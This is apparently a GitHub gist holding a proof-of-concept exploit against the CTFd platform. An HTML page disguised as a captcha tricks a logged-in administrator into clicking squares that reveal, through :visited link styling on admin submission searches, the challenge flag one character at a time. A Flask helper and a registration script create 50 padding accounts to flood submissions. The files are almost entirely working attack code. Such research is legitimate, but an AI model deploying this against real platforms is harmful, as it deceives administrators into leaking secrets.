-
-
Save JorianWoltjer/295ac5d8e7595a073116eba6f091506e to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<body> | |
<h1>CTFd Flag Leaker 2</h1> | |
<p> | |
Press the button below to get started, and each round, <strong>press the black squares</strong>. | |
<br /> | |
Use the SKIP button if there are none. | |
</p> | |
<button id="start" onclick="start()">Click to START</button> | |
<p><strong>Flag</strong>: <span id="flag"></span></p> | |
<div class="captcha hidden"> | |
<div id="grid" class="grid"></div> | |
</div> | |
<script> | |
const ALPHABET = "{}e3a@4ri1o0t7ns25$lcudpmhg6bfywkvxzjq89"; | |
const TARGET = "http://localhost"; | |
const HELPER = "http://localhost:5000"; | |
let FLAG = "CTF{"; | |
const grid = document.getElementById("grid"); | |
const flag = document.getElementById("flag"); | |
const queue = []; | |
let w; | |
async function sleep(ms) { | |
return new Promise((resolve) => setTimeout(resolve, ms)); | |
} | |
function clickHandler(c) { | |
return async () => { | |
FLAG += c; | |
// Flag should not contain double underscores, if so, | |
// the user clicked wildcard twice so the previous character was likely wrong | |
if (FLAG.endsWith("__")) { | |
FLAG = FLAG.slice(0, -3); | |
} | |
flag.textContent = FLAG; | |
// '}' marks the end of the flag, else, continue | |
if (c === "}") { | |
clearInterval(closeChecker); | |
w.close(); | |
alert("Flag found: " + FLAG); | |
} else { | |
await reset(); | |
} | |
}; | |
} | |
function createBox({ url, c, className }) { | |
const box = document.createElement("div"); | |
box.classList.add("box"); | |
if (url) { | |
const a = document.createElement("a"); | |
a.href = url; | |
a.rel = "nofollow"; | |
box.appendChild(a); | |
} | |
const overlay = document.createElement("div"); | |
overlay.classList.add("overlay"); | |
if (className) overlay.classList.add(className); | |
overlay.onclick = clickHandler(c); | |
box.appendChild(overlay); | |
return box; | |
} | |
async function start() { | |
document.getElementById("start").disabled = true; | |
w = window.open("", "", "width=1,height=1,resizable=no"); | |
await sleep(1000); | |
await visitURLs(); | |
} | |
async function reset() { | |
grid.innerHTML = ""; | |
await visitURLs(); | |
} | |
async function visitURLs() { | |
// 1. Fill page 1 of submissions like 'CTF{1CTF{2CTF{3...' with 50 accounts | |
const flags = ALPHABET.split("").map((c) => FLAG + c); | |
await fetch(HELPER + "/submit?" + new URLSearchParams({ flag: flags.join(), n: 50 }), { | |
mode: "no-cors", | |
}); | |
const startingFlag = FLAG; | |
for (const c of ALPHABET) { | |
if (FLAG !== startingFlag) return; | |
// 2. Visit URL | |
const params = { page: 2, field: "provided", q: FLAG + c }; | |
const url = TARGET + "/admin/submissions?" + new URLSearchParams(params); | |
w.location = url; | |
await sleep(200); | |
if (FLAG !== startingFlag) return; | |
// 3. Add <a> to URL with unique :visited style | |
grid.appendChild(createBox({ url, c })); | |
} | |
// Last box is a SKIP button for when no black squares are found, meaning the wildcard '_' | |
grid.appendChild(createBox({ c: "_", className: "not-found" })); | |
} | |
const closeChecker = setInterval(() => { | |
if (w && w.closed) { | |
w = undefined; | |
alert("Do not close the window!"); | |
location.reload(); | |
} | |
}, 1000); | |
window.onbeforeunload = () => { | |
if (w) w.close(); | |
}; | |
</script> | |
<style> | |
.captcha { | |
background-color: black; | |
color: white; | |
border-radius: 4px; | |
padding: 4px; | |
max-width: 75%; | |
margin: auto; | |
} | |
.captcha:not(:has(.box)) { | |
display: none; | |
} | |
.grid { | |
padding: 8px; | |
background-color: white; | |
display: grid; | |
gap: 4px; | |
grid-template-columns: repeat(10, 1fr); | |
} | |
.box { | |
aspect-ratio: 1 / 1; | |
position: relative; | |
border: 1px solid lightgrey; | |
} | |
.box a { | |
display: block; | |
width: 100%; | |
height: 100%; | |
background-color: white; | |
} | |
.box a:visited { | |
background-color: rgb(46, 46, 46); | |
} | |
.box .overlay { | |
width: 100%; | |
height: 100%; | |
position: absolute; | |
top: 0; | |
transition: background-color 200ms; | |
display: flex; | |
align-items: center; | |
justify-content: center; | |
} | |
.box .overlay.not-found { | |
background-color: rgb(255, 0, 0, 1); | |
} | |
.box .overlay.not-found::after { | |
content: "SKIP"; | |
} | |
</style> | |
</body> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import json | |
import grequests | |
from flask import Flask, request | |
from gevent import monkey | |
monkey.patch_all() | |
HOST = "http://localhost" | |
app = Flask(__name__) | |
sessions = [] | |
def submit(challenge_id, flag, cookies, headers): | |
data = { | |
"challenge_id": challenge_id, | |
"submission": flag, | |
} | |
return grequests.post(HOST + "/api/v1/challenges/attempt", json=data, cookies=cookies, headers=headers) | |
def get_data(username): | |
with open(f"data/{username}.txt") as f: | |
return json.load(f) | |
@app.route('/submit') | |
def do_submits(): | |
flag = request.args.get("flag") | |
n = int(request.args.get("n")) | |
if flag is None: | |
return "No flag provided", 400 | |
if n is None: | |
return "No n provided", 400 | |
if n > len(sessions): | |
return "n is too big", 400 | |
print("Sending...") | |
print(list(grequests.imap( | |
submit(1, flag, data["cookies"], data["headers"]) for data in sessions[:n]) | |
)) | |
return "Done" | |
if __name__ == "__main__": | |
for i in range(50): | |
username = f"padding{i}" | |
sessions.append(get_data(username)) | |
print("Loaded 50 sessions") | |
app.run(debug=False) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import json | |
import time | |
import re | |
import os | |
HOST = "http://localhost" | |
s = requests.Session() | |
def post_form(path, data): | |
r = s.get(HOST + path) | |
assert r.ok | |
nonce = re.search(r'name="nonce".*? value="([^"]+)"', r.text).group(1) | |
data["nonce"] = nonce | |
r = s.post(HOST + path, data=data) | |
assert r.ok | |
return r | |
def update_nonce(r): | |
nonce = re.search(r'csrfNonce\': "(.*?)"', r.text).group(1) | |
s.headers.update({ | |
"Csrf-Token": nonce, | |
}) | |
def register(username): | |
data = { | |
"name": username, | |
"email": username + "@example.com", | |
"password": username, | |
} | |
r = post_form("/register", data) | |
update_nonce(r) | |
return r | |
if __name__ == "__main__": | |
# SETUP (create and save 50 users to perform incorrect submissions with) | |
os.makedirs("data", exist_ok=True) | |
for i in range(50): | |
username = f"padding{i}" | |
print(f"Creating {username!r}...") | |
try: | |
register(username) | |
except AssertionError as e: | |
print(" waiting for rate limit...") | |
time.sleep(5) | |
register(username) | |
with open(f"data/{username}.txt", "w") as f: | |
json.dump({ | |
"cookies": s.cookies.get_dict(), | |
"headers": dict(s.headers) | |
}, f) | |
s.cookies.clear() | |
s.headers.clear() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment